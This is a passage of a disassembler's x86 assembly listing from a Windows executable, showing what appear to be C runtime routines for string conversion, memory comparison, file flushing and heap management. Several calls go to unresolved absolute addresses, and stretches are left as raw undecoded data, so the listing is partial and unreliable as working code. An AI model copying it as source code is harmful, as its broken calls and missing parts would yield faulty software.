		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170ED+BFp
					; sub_4170ED+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DBA14
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645


loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl


loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------


loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADE+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43CBE4, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA


loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD


loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------


loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh


loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0


loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax


loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418069+6p
					; sub_418087+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------


loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43CBE4, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD


loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------


loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------


loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A5+ADp
					; sub_419594+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E


loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824


loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A5+7Fp
					; sub_4185A5+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DBA14, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E


loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------


loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 26709D6h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF


loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB958, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C9D8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax


loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7


loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DBA14, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------


loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBA24
		call	near ptr 2800000h
		nop
		cmp	eax, esi
		jz	short loc_41D8B0


loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax


loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 66h
		dd 66B54E43h, 19A9CE6Eh, 0CA8E59BAh, 0A1642872h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 4114E8E8h, 33900245h, 89D48AD2h
		dd 4DB97015h, 81C88B00h, 0FFE1h, 6C0D8900h, 0C1004DB9h
		dd 0CA0308E1h, 0B9680D89h, 0E8C1004Dh, 0B964A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 4540B3E8h, 0CFECA302h,	19E8004Dh
		dd 0A3000058h, 4DB9C8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2452628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 5E89056h,	50022626h, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB9D0, 1
		jnz	short loc_41DA37
		call	sub_423590


loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A9A0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB9D0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 0E8000000h
		dd 77A58245h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DCDA0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF


loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB


loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 265092Ah
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 26709D6h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------


loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp


loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------


loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------


loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh


loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------


loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DCC80, esi
		jle	short loc_41DC4E


loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------


loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax


loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_41DC01


loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi


loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 2680000h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26C0580h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------


loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F


loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al


loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC


loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------


loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2660000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65


loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al


loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52


loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx


loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1


loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------


loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx


loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93


loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF


loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 472217E8h
		dd 0A3C08502h, 4DCFE4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DCFh, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0CFE435FFh, 4E8004Dh
		dd 9002462Fh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DCFE4h
		dd 21BEE890h, 0C0850237h, 4DCFDCA3h, 0C3017500h, 4244C8Bh
		dd 0CFD42583h, 8300004Dh, 4DCFD825h, 16A0000h, 4DCFD0A3h
		dd 0E00D8900h, 0C7004DCFh, 4DCFC805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFD8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DCFDC
		lea	ecx, [eax+ecx*4]


loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------


loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41DF06
		push	3Fh
		pop	edx


loc_41DF06:				; CODE XREF: sub_41DEA2+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41DF5A
		cmp	edx, 20h
		jnb	short loc_41DF31
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41DF52
; ---------------------------------------------------------------------------


loc_41DF31:				; CODE XREF: sub_41DEA2+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41DF52
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41DF52:				; CODE XREF: sub_41DEA2+86j
					; sub_41DEA2+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41DF5D
